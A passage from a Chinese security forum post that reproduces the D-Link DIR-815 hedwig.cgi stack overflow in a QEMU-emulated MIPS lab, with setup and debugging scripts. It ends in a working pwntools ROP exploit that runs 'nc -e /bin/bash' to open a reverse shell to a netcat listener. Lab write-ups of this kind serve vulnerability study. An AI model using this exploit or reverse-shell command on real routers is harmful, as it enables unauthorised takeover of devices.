192.168.xxx.xxx/24 brd 192.168.xx.xx scope global eth1 ``` 执行 `ifup eth1` 后我们就可以用Ubuntu物理机来连接我们的qumu虚拟机了 ```c # 低版本Ubutnu ssh root@192.168.xx.xx # 高版本Ubutnu ssh -o HostKeyAlgorithms=ssh-rsa root@192.168.xx.xx ``` ### **step4 开启环境** 然后将在Ubunut物理机上使用scp指令来向qemu虚拟机传输文件 将路由器文件分解得到的 `/squashfs-root` 文件传入到 qemu虚拟机的 `/root` 文件夹下面 ```c # 低版本Ubutnu scp -r ./squashfs-root root@192.168.xx.xx:/root/ scp -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址> # 高版本Ubuntu scp -o HostKeyAlgorithms=ssh-rsa -r ./squashfs-root root@192.168.xx.xx:/root/ scp -o HostKeyAlgorithms=ssh-rsa -r <本地Ubuntu文件地址> root@192.168.xx.xx:<qemu虚拟机文件地址> ``` 在qemu虚拟机的 `/squashfs-root` 文件中使用 `nano指令` 创建一个 `http_conf` 文件用于开启httpd服务 ```c Umask 026 PIDFile /var/run/httpd.pid LogGMT On #开启log ErrorLog /log #log文件 Tuning { NumConnections 15 BufSize 12288 InputBufSize 4096 ScriptBufSize 4096 NumHeaders 100 Timeout 60 ScriptTimeout 60 } Control { Types { text/html { html htm } text/xml { xml } text/plain { txt } image/gif { gif } image/jpeg { jpg } text/css { css } application/octet-stream { * } } Specials { Dump { /dump } CGI { cgi } Imagemap { map } Redirect { url } } External { /usr/sbin/phpcgi { php } } } Server { ServerName "Linux, HTTP/1.1, " ServerId "1234" Family inet Interface eth1 #对应qemu仿真路由器系统的网卡(如果是按照上面操作来的话就不用改) Address 192.168.xx.xx #qemu仿真路由器系统的IP(需要改成自己的qemu虚拟机ip地址) Port "1234" #对应未被使用的端口(一般也是不用改) Virtual { AnyHost Control { Alias / Location /htdocs/web IndexNames { index.php } External { /usr/sbin/phpcgi { router_info.xml } /usr/sbin/phpcgi { post_login.xml } } } Control { Alias /HNAP1 Location /htdocs/HNAP1 External { /usr/sbin/hnap { hnap } } IndexNames { index.hnap } } } } ``` 运行路由器程序执行下面脚本 ```c #init.sh #!/bin/bash echo 0 > /proc/sys/kernel/randomize_va_space cp http_conf / cp sbin/httpd / cp -rf htdocs/ / mkdir /etc_bak cp -r /etc /etc_bak rm /etc/services cp -rf etc/ / cp lib/ld-uClibc-0.9.30.1.so /lib/ cp lib/libcrypt-0.9.30.1.so /lib/ cp lib/libc.so.0 /lib/ cp lib/libgcc_s.so.1 /lib/ cp lib/ld-uClibc.so.0 /lib/ cp lib/libcrypt.so.0 /lib/ cp lib/libgcc_s.so /lib/ cp lib/libuClibc-0.9.30.1.so /lib/ cd / rm -rf /htdocs/web/hedwig.cgi rm -rf /usr/sbin/phpcgi rm -rf /usr/sbin/hnap ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi ln -s /htdocs/cgibin /usr/sbin/phpcgi ln -s /htdocs/cgibin /usr/sbin/hnap ./httpd -f http_conf ``` 运行之后我们可以用Ubuntu自带的浏览器去访问  结束服务准备退出需要还原qemu虚拟机的系统架构,否则会导致qemu虚拟机损坏退出后无法开机,执行下面脚本 ```c #fin.sh #!/bin/bash rm -rf /etc mv /etc_bak/etc /etc rm -rf /etc_bak ``` 调试的话需要用到 `gdbserver` 下面这个是github项目,已经编译完成的程序(但是作者好像命名错误了把mipsel打成了mipsle, 所以如果使用这个下面的脚本也需要改一改) <a href="elink@49aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5j5i4m8A6k6o6N6Q4x3V1k6W2L8h3u0W2k6r3c8W2k6q4)9J5k6s2c8G2L8$3I4K6i4K6u0r3N6s2u0W2k6g2)9J5c8X3#2S2M7%4c8W2M7W2)9J5c8X3u0A6L8X3q4J5K9h3g2K6i4K6u0r3k6$3c8T1M7$3g2J5N6X3g2J5">embedded-tools/binaries/gdbserver at master · rapid7/embedded-tools</a> ```c #run.sh #!/bin/bash export CONTENT_LENGTH="10" export CONTENT_TYPE="application/x-www-form-urlencoded" export HTTP_COOKIE="uid=`cat payload`" export REQUEST_METHOD="POST" export REQUEST_URI="2333" echo "User=pwner"|./gdbserver.mipsel 192.168.xx.xx:6666 /htdocs/web/hedwig.cgi unset CONTENT_LENGTH unset CONTENT_TYPE unset HTTP_COOKIE unset REQUEST_METHOD unset REQUEST_URI ``` 对于这个run.sh脚本我有些疑问,winmt师傅在博客中说这里的ip地址需要填Ubuntu物理机的地址,但是我尝试之后失败了,我改为填写qemu虚拟机的地址然后运行,用Ubuntu虚拟机使用 `target remote <qemu虚拟机ip地址>:6666` 却可以连接成功,不知道为什么,但是没关系,只要能连上调试就行了 这里设置qemu虚拟机的的ip地址以及端口,之后我们同样可以使用上面的gdb脚本来进行连接 ```c # mygdb.sh set architecture mips set follow-fork-mode child set detach-on-fork off file <调试文件地址> # 可以不要 target remote 192.168.xx.xx:6666 ``` 我们需要调试来确定远程的libc_base 这里我们只需要运行上面的 `init.sh`,打开浏览器确认服务开启后,然后运行脚本 `run.sh` ,随后在Ubuntu虚拟机中使用 `gdb-multiarch` 去连接即可 远程我们可以直接使用vmmap来查看libc基地址, 得到基地址为 `0x77f34000` 如果我们使用的内核和镜像相同,那么我们的libc基地址基本上也是相同的  打qemu虚拟机想要拿到shell就需要利用到反弹shell,我们需要在Ubutnu虚拟机中开启一个终端用于接收反弹shell ```c nc -lvnp 8888 ``` 下面构建exp脚本,攻击`192.168.xx.xx:1234`使其执行 `system('nc -e /bin/bash 192.168.xx.xxx 8888')` 注意这里是Ubuntu物理机的IP exp如下: ```python from pwn import * import requests context(os = 'linux', arch = 'mips', log_level = 'debug') cmd = b'nc -e /bin/bash 192.168.xx.xxx 8888' # 这里是Ubuntu物理机的地址 libc_base = 0x77f34000 payload = b'a'*0x3cd payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1 payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0) payload += b'a'*(4*7) payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1) payload += b'a'*0x18 payload += cmd url = "http://192.168.xx.xx:1234/hedwig.cgi" # 这里是qemu虚拟机的地址 data = {"XiDP" : "pwner"} headers = { "Cookie" : b"uid=" + payload, "Content-Type" : "application/x-www-form-urlencoded", "Content-Length": "10" } res = requests.post(url = url, headers = headers, data = data) print(res) ``` 然后我们就可以在我们执行 `nc -lvnp 8888` 的终端拿到shell了,当然前提是exp无误 成功打通如下图所示  参考: <a href="elink@acbK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4y4K6V1J5y4l9`.`.">DIR-815 栈溢出漏洞-先知社区</a> [[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-272318.htm#msg_header_h2_3) <a href="elink@35eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4y4K6x3I4y4b7`.`.">firmAE模拟仿真DIR815栈溢出漏洞复现-先知社区</a>
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
#固件分析
#漏洞分析
#漏洞挖掘
#家用设备
收藏
・
2
点赞
・
2
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
感谢你的贡献,论坛因你而更加精彩!
2026-7-16 11:14
mb_rnldfvga
感谢你分享这么好的资源!
2025-11-24 13:18
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
2
)
qiluword
雪 币:
254
活跃值:
(654)
能力值:
( LV2,RANK:10 )
在线值:
发帖
52
回帖
227
粉丝
1
关注
私信
qiluword
2
楼
写的很好,另外,为啥极客写的精华帖子,标题右下角没有带钻石的精?
2025-11-12 11:10
0
胡一米
雪 币:
26397
活跃值:
(9330)
能力值:
(RANK:445 )
在线值:
发帖
5
回帖
87
粉丝
122
关注
私信
胡一米
3
3
楼
qiluword
写的很好,另外,为啥极客写的精华帖子,标题右下角没有带钻石的精?
答复一下。
精华是都带有钻石的,但这篇是关注,不是精华。
这篇文字质量和内容上是可以的,但是关于这个设备以及这个漏洞有太多类似的分析和复现文章了,没办法不停的给精华,所以就给了关注。
2026-2-4 10:55
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
XiDP
4
发帖
4
回帖
10
RANK
关注
私信
他的文章
[原创]Tenda AC6 实机拆解与UART串口的区分方法
16414
[原创]小米AX9000路由器CVE-2023-26315漏洞复现
13190
[原创]DIR-815 栈溢出漏洞(CNVD-2013-11625)复现
15710
[原创]ret2gets的原理与利用方法
3896
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部